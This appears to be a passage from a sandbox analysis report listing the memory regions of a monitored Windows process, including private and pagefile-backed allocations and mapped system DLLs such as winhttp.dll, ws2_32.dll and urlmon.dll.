
Region:
	              id = 988
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 989
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 990
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 991
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 992
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 993
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 994
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 995
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 996
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 997
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 998
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 999
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 1000
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 1001
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 1002
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 1003
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 1004
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 1005
	        start_va = 0x120000
	          end_va = 0x120fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000120000"
	        filename = ""

Region:
	              id = 1006
	        start_va = 0x130000
	          end_va = 0x130fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000130000"
	        filename = ""

Region:
	              id = 1007
	        start_va = 0x130000
	          end_va = 0x130fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000130000"
	        filename = ""

Region:
	              id = 1008
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1009
	        start_va = 0x74500000
	          end_va = 0x747c0fff
	     entry_point = 0x74500000
	     region_type = mapped_file
	            name = "iertutil.dll"
	        filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll")

Region:
	              id = 1010
	        start_va = 0x150000
	          end_va = 0x150fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000150000"
	        filename = ""

Region:
	              id = 1011
	        start_va = 0x77ba0000
	          end_va = 0x77c31fff
	     entry_point = 0x77ba0000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")

Region:
	              id = 1012
	        start_va = 0x160000
	          end_va = 0x160fff
	     entry_point = 0x160000
	     region_type = mapped_file
	            name = "counters.dat"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\inetcache\\counters.dat")

Region:
	              id = 1013
	        start_va = 0x77930000
	          end_va = 0x7798bfff
	     entry_point = 0x77930000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll")

Region:
	              id = 1014
	        start_va = 0x77ad0000
	          end_va = 0x77ad6fff
	     entry_point = 0x77ad0000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll")

Region:
	              id = 1015
	        start_va = 0x744e0000
	          end_va = 0x744f0fff
	     entry_point = 0x744e0000
	     region_type = mapped_file
	            name = "ondemandconnroutehelper.dll"
	        filename = "\\Windows\\SysWOW64\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\syswow64\\ondemandconnroutehelper.dll")

Region:
	              id = 1016
	        start_va = 0x744a0000
	          end_va = 0x744a7fff
	     entry_point = 0x744a0000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll")

Region:
	              id = 1017
	        start_va = 0x744b0000
	          end_va = 0x744dffff
	     entry_point = 0x744b0000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll")

Region:
	              id = 1018
	        start_va = 0x743f0000
	          end_va = 0x74496fff
	     entry_point = 0x743f0000
	     region_type = mapped_file
	            name = "winhttp.dll"
	        filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll")

Region:
	              id = 1019
	        start_va = 0x170000
	          end_va = 0x172fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 1020
	        start_va = 0xe50000
	          end_va = 0xe8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e50000"
	        filename = ""

Region:
	              id = 1021
	        start_va = 0x2c30000
	          end_va = 0x2d2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002c30000"
	        filename = ""

Region:
	              id = 1022
	        start_va = 0x7ffdb000
	          end_va = 0x7ffddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffdb000"
	        filename = ""

Region:
	              id = 1023
	        start_va = 0x743a0000
	          end_va = 0x743edfff
	     entry_point = 0x743a0000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll")

Region:
	              id = 1024
	        start_va = 0x180000
	          end_va = 0x182fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000180000"
	        filename = ""

Region:
	              id = 1025
	        start_va = 0x2d30000
	          end_va = 0x2d6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002d30000"
	        filename = ""

Region:
	              id = 1026
	        start_va = 0x2d70000
	          end_va = 0x2e6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002d70000"
	        filename = ""

Region:
	              id = 1027
	        start_va = 0x2e70000
	          end_va = 0x2eaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002e70000"
	        filename = ""

Region:
	              id = 1028
	        start_va = 0x2eb0000
	          end_va = 0x2faffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002eb0000"
	        filename = ""

Region:
	              id = 1029
	        start_va = 0x74310000
	          end_va = 0x74393fff
	     entry_point = 0x74310000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll")

Region:
	              id = 1030
	        start_va = 0x7feaa000
	          end_va = 0x7feacfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007feaa000"
	        filename = ""

Region:
	              id = 1031
	        start_va = 0x7fead000
	          end_va = 0x7feaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fead000"
	        filename = ""

Region:
	              id = 1032
	        start_va = 0x741b0000
	          end_va = 0x7430ffff
	     entry_point = 0x741b0000
	     region_type = mapped_file
	            name = "urlmon.dll"
	        filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll")

Region:
	              id = 1033
	        start_va = 0x190000
	          end_va = 0x190fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000190000"
	        filename = ""

Region:
	              id = 1034
	        start_va = 0x741a0000
	          end_va = 0x741a7fff
	     entry_point = 0x741a0000
	     region_type = mapped_file
	            name = "rasadhlp.dll"
	        filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll")

Region:
	              id = 1035
	        start_va = 0x74150000
	          end_va = 0x74195fff
	     entry_point = 0x74150000
	     region_type = mapped_file
	            name = "fwpuclnt.dll"
	        filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll")

Region:
	              id = 1036
	        start_va = 0xe90000
	          end_va = 0xe93fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e90000"
	        filename = ""

Region:
	              id = 1037
	        start_va = 0x2540000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002540000"
	        filename = ""

Region:
	              id = 1038
	        start_va = 0x73f40000
	          end_va = 0x74148fff
	     entry_point = 0x73f40000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_3bccb1ff6bcd1849\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_3bccb1ff6bcd1849\\comctl32.dll")

Region:
	              id = 1039
	        start_va = 0x2550000
	          end_va = 0x2552fff
	     entry_point = 0x2550000
	     region_type = mapped_file
	            name = "mswsock.dll.mui"
	        filename = "\\Windows\\SysWOW64\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\mswsock.dll.mui")

Region:
	              id = 1040
	        start_va = 0x2560000
	          end_va = 0x2561fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002560000"
	        filename = ""

Region:
	              id = 1041
	        start_va = 0x170000
	          end_va = 0x187fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 1042
	        start_va = 0x2740000
	          end_va = 0x2740fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002740000"
	        filename = ""

Region:
	              id = 1043
	        start_va = 0x2750000
	          end_va = 0x2750fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002750000"
	        filename = ""

Region:
	              id = 1044
	        start_va = 0x2750000
	          end_va = 0x2750fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002750000"
	        filename = ""

Region:
	              id = 1045
	        start_va = 0x2fb0000
	          end_va = 0x2fe9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002fb0000"
	        filename = ""

Region:
	              id = 1046
	        start_va = 0x2ff0000
	          end_va = 0x2ff0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002ff0000"
	        filename = ""

Region:
	              id = 1047
	        start_va = 0x3000000
	          end_va = 0x3000fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003000000"
	        filename = ""

Region:
	              id = 1048
	        start_va = 0x3010000
	          end_va = 0x3010fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003010000"
	        filename = ""

Region:
	              id = 1049
	        start_va = 0x2750000
	          end_va = 0x2758fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002750000"
	        filename = ""

Region:
	              id = 1050
	        start_va = 0x2fb0000
	          end_va = 0x2fb0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002fb0000"
	        filename = ""

Region:
	              id = 1051
	        start_va = 0x2fc0000
	          end_va = 0x2fc0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002fc0000"
	        filename = ""

Region:
	              id = 1052
	        start_va = 0x2fc0000
	          end_va = 0x2fc1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002fc0000"
	        filename = ""

Region:
	              id = 1053
	        start_va = 0x2fd0000
	          end_va = 0x2fd0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002fd0000"
	        filename = ""

Region:
	              id = 1054
	        start_va = 0x2fe0000
	          end_va = 0x2fe0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002fe0000"
	        filename = ""

Region:
	              id = 1055
	        start_va = 0x2ff0000
	          end_va = 0x2ff2fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002ff0000"
	        filename = ""

Region:
	              id = 1173
	        start_va = 0x2fe0000
	          end_va = 0x2fe3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002fe0000"
	        filename = ""

Region:
	              id = 1174
	        start_va = 0x2ff0000
	          end_va = 0x3022fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002ff0000"
	        filename = ""

Region:
	              id = 1175
	        start_va = 0x3030000
	          end_va = 0x3032fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003030000"
	        filename = ""

Region:
	              id = 1176
	        start_va = 0x3030000
	          end_va = 0x3030fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003030000"
	        filename = ""

Region:
	              id = 1177
	        start_va = 0x3040000
	          end_va = 0x3040fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003040000"
	        filename = ""

Region:
	              id = 1178
	        start_va = 0x3040000
	          end_va = 0x3040fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003040000"
	        filename = ""

Region:
	              id = 1179
	        start_va = 0xa0000
	          end_va = 0xa0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000a0000"
	        filename = ""

Region:
	              id = 1180
	        start_va = 0xb0000
	          end_va = 0xb0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000b0000"
	        filename = ""

Region:
	              id = 1181
	        start_va = 0xc0000
	          end_va = 0xc0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000c0000"
	        filename = ""

Region:
	              id = 1182
	        start_va = 0xd0000
	          end_va = 0x10ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000d0000"
	        filename = ""

Region:
	              id = 1183
	        start_va = 0x110000
	          end_va = 0x110fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000110000"
	        filename = ""

Region:
	              id = 1184
	        start_va = 0x3050000
	          end_va = 0x314ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003050000"
	        filename = ""

Region:
	              id = 1185
	        start_va = 0x7fea7000
	          end_va = 0x7fea9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fea7000"
	        filename = ""

Region:
	              id = 1186
	        start_va = 0x120000
	          end_va = 0x129fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000120000"
	        filename = ""

Region:
	              id = 1187
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1188
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1189
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1190
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1191
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1192
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 1193
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1194
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1195
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1196
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 1197
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1198
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 1199
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1200
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1201
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1202
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 1203
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1204
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 1205
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1206
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1207
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 1208
	        start_va = 0x180000
	          end_va = 0x180fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000180000"
	        filename = ""

Region:
	              id = 1209
	        start_va = 0x2740000
	          end_va = 0x2740fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002740000"
	        filename = ""

Region:
	              id = 1210
	        start_va = 0x2740000
	          end_va = 0x2740fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002740000"
	        filename = ""

Region:
	              id = 1211
	        start_va = 0x2740000
	          end_va = 0x2740fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002740000"
	        filename = ""

Region:
	              id = 1212
	        start_va = 0x2750000
	          end_va = 0x2750fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002750000"
	        filename = ""

Region:
	              id = 1213
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1214
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1215
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 1216
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1217
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 1218
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1219
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1220
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1221
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 1222
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1223
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 1224
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1225
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1226
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1227
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 1228
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1229
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1230
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1231
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 1232
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1233
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 1234
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1235
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1236
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1237
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 1238
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1239
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 1240
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1241
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1242
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1243
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1244
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 1245
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1246
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1247
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1248
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 1249
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 1250
	        start_va = 0x180000
	          end_va = 0x180fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000180000"
	        filename = ""

Region:
	              id = 1251
	        start_va = 0x2740000
	          end_va = 0x2740fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002740000"
	        filename = ""

Region:
	              id = 1252
	        start_va = 0x2740000
	          end_va = 0x2740fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002740000"
	        filename = ""

Region:
	              id = 1253
	        start_va = 0x2740000
	          end_va = 0x2740fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002740000"
	        filename = ""

Region:
	              id = 1254
	        start_va = 0x2750000
	          end_va = 0x2750fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002750000"
	        filename = ""

Region:
	              id = 1255
	        start_va = 0x2fc0000
	          end_va = 0x2fc0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002fc0000"
	        filename = ""

Region:
	              id = 1256
	        start_va = 0x3150000
	          end_va = 0x3250fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003150000"
	        filename = ""

Region:
	              id = 1257
	        start_va = 0x3260000
	          end_va = 0x335ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003260000"
	        filename = ""

Region:
	              id = 1258
	        start_va = 0x3360000
	          end_va = 0x345ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003360000"
	        filename = ""

Region:
	              id = 1259
	        start_va = 0x3260000
	          end_va = 0x335ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003260000"
	        filename = ""

Region:
	              id = 1260
	        start_va = 0x3360000
	          end_va = 0x345ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003360000"
	        filename = ""

Region:
	              id = 1261
	        start_va = 0x3260000
	          end_va = 0x335ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003260000"
	        filename = ""

Region:
	              id = 1262
	        start_va = 0x3360000
	          end_va = 0x345ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003360000"
	        filename = ""

Region:
	              id = 1263
	        start_va = 0x2fd0000
	          end_va = 0x2fd5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002fd0000"
	        filename = ""

Region:
	              id = 1264
	        start_va = 0x2fe0000
	          end_va = 0x2fe5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002fe0000"
	        filename = ""

Region:
	              id = 1265
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1266
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 1267
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1268
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
